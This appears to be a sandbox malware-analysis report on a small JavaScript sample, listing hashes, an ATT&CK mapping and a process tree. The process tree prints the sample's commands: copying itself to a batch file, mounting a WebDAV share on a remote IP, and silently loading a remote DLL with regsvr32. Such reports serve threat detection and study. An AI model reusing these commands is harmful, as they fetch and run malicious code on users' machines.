48097f32070f8da978b66fee3bf3309526f84348971a5a5b550f47cc3b816766

Analysis

max time kernel
119s
max time network
120s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
09/07/2024, 06:03

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General

Target

2335478253155930819.js
Size

5KB
MD5

002955be68807c970f57d24ad22e88b6
SHA1

907ba3d847aeb2f50c43d16b14ffb5f926f7050c
SHA256

48097f32070f8da978b66fee3bf3309526f84348971a5a5b550f47cc3b816766
SHA512

e42c629c4c3c18644483ecc87aaa7a45e1ceea4ccbb138aecdee71cecd126ee009c1478da422e11bcec70501494599020ad9ffaf1024842a9bbe0a19942cea04
SSDEEP

96:scSXa8NdjB2cPLQalb/WwFvYUmD8kw2mezwzuomnUskE:scMa42QLQalbxgPD8mmezwzuomnUskE

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Runs net.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2620	regsvr32.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 2408 wrote to memory of 1788	2408	wscript.exe	28
PID 2408 wrote to memory of 1788	2408	wscript.exe	28
PID 2408 wrote to memory of 1788	2408	wscript.exe	28
PID 1788 wrote to memory of 2636	1788	cmd.exe	30
PID 1788 wrote to memory of 2636	1788	cmd.exe	30
PID 1788 wrote to memory of 2636	1788	cmd.exe	30
PID 1788 wrote to memory of 2620	1788	cmd.exe	31
PID 1788 wrote to memory of 2620	1788	cmd.exe	31
PID 1788 wrote to memory of 2620	1788	cmd.exe	31
PID 1788 wrote to memory of 2620	1788	cmd.exe	31
PID 1788 wrote to memory of 2620	1788	cmd.exe	31

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\2335478253155930819.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2408
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\2335478253155930819.js" "C:\Users\Admin\\psrnzi.bat" && "C:\Users\Admin\\psrnzi.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1788
- - C:\Windows\system32\net.exe
    net use \\45.9.74.13@8888\DavWWWRoot\
    3⤵
    PID:2636
- - C:\Windows\system32\regsvr32.exe
    regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\362.dll
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:2620

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\psrnzi.bat

Filesize
5KB

MD5
002955be68807c970f57d24ad22e88b6

SHA1
907ba3d847aeb2f50c43d16b14ffb5f926f7050c

SHA256
48097f32070f8da978b66fee3bf3309526f84348971a5a5b550f47cc3b816766

SHA512
e42c629c4c3c18644483ecc87aaa7a45e1ceea4ccbb138aecdee71cecd126ee009c1478da422e11bcec70501494599020ad9ffaf1024842a9bbe0a19942cea04

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